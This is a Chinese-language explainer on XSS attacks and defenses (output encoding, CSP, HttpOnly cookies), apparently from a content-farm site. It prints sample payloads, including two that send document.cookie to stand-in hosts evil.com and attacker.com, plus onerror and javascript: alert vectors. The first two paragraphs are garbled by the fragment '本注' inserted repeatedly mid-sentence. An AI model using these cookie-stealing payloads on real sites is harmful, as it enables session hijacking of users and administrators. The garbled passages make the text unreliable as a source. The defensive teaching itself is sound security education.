您现在的位置是:烟消火灭网 > 百科

http xss脚本注入

烟消火灭网2026-10-17 07:42:14【百科】8人已围观

简介一个电商网站的搜索框,用户输入商品关键词后页面直接回显“您搜索的是:xxx”。这行看似无害的代码,如果没做转义处理,攻击者输入<script>alert(document.cookie)&

一个电商网站的本注搜索框,用户输入商品关键词后页面直接回显“您搜索的本注是:xxx”。这行看似无害的本注代码,如果没做转义处理,本注攻击者输入<script>alert(document.cookie)</script>,本注浏览器就会老老实实执行它——用户的本注登录凭证当场被扒走。这不是本注什么高深漏洞,本质就是本注服务器太信任用户输入,把恶意代码当亲儿子渲染进了HTML。本注

XSS(跨站脚本)的本注核心逻辑就一句话:让浏览器把攻击者的代码当成页面的一部分来跑。它分三类,本注但别被术语唬住。本注反射型最直接,本注恶意脚本藏在URL参数里,本注用户点链接就中招;存储型更阴,本注脚本被存进数据库,每个访问该页面的用户都自动执行,比如论坛帖子里的恶意评论;DOM型则完全在浏览器端完成,服务器甚至看不到攻击载荷。

拿反射型举例。假设有个URL:https://example.com/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script>。服务器把q参数的值直接拼进HTML返回,浏览器解析时触发脚本,cookie就被发到攻击者服务器。整个过程用户只看到页面正常显示,毫无察觉。

防御手段其实不复杂,但很多开发者偏偏绕道走。最有效的是输出编码——根据上下文(HTML、JS、CSS、URL)对用户输入进行转义。比如在HTML里把<转成&lt;,>转成&gt;。别自己写转义函数,用成熟库,比如Java的OWASP ESAPI或Python的html.escape()。

另一个常见误区是只过滤<script>标签。攻击者用<img src=x onerror=alert(1)>照样能执行。属性里的onerror、onload、onmouseover全是入口。还有javascript:伪协议,放在<a href="javascript:alert(1)">里一样触发。黑名单永远列不全,白名单才是正解。

Content Security Policy(CSP)是第二道防线。设置Content-Security-Policy: default-src 'self'后,浏览器只执行同源脚本,内联脚本和外部恶意域名直接拦死。但CSP配置复杂,很多网站只设了report-only模式,等于只记录不拦截,实际防护为零。

我见过一个真实案例。某政府网站的联系我们页面,用户提交反馈后,后台管理界面直接显示“来自xxx的留言”。xxx字段没转义,攻击者提交<script>new Image().src='https://attacker.com/log?c='+document.cookie</script>,管理员一打开后台,自己的会话就被偷了。攻击者用管理员身份登录,上传webshell,整台服务器沦陷。一个输入框,一条XSS,直接打穿内网。

HttpOnly标志能救急。给cookie加上HttpOnly,JavaScript就读不到document.cookie,XSS偷不到会话。但别把它当万能药——攻击者仍能发起CSRF、键盘记录、页面篡改。HttpOnly只是降低损失,不阻止XSS本身。

最后说个反直觉的点。很多人以为XSS只影响前端,跟后端无关。错。存储型XSS的恶意脚本存在数据库里,每次查询都带出来。如果后端用这些数据生成PDF、发送邮件、或者喂给其他系统,脚本可能在其他环境执行。XSS是输入验证和输出编码的缺失,责任在后端,不在浏览器。

修复XSS没有银弹。输出编码是基础,CSP是加固,HttpOnly是兜底。三者叠加,才能把风险压到可接受范围。别等被拖库了才想起转义——那时候用户数据早就在暗网打包出售了。

很赞哦!(749)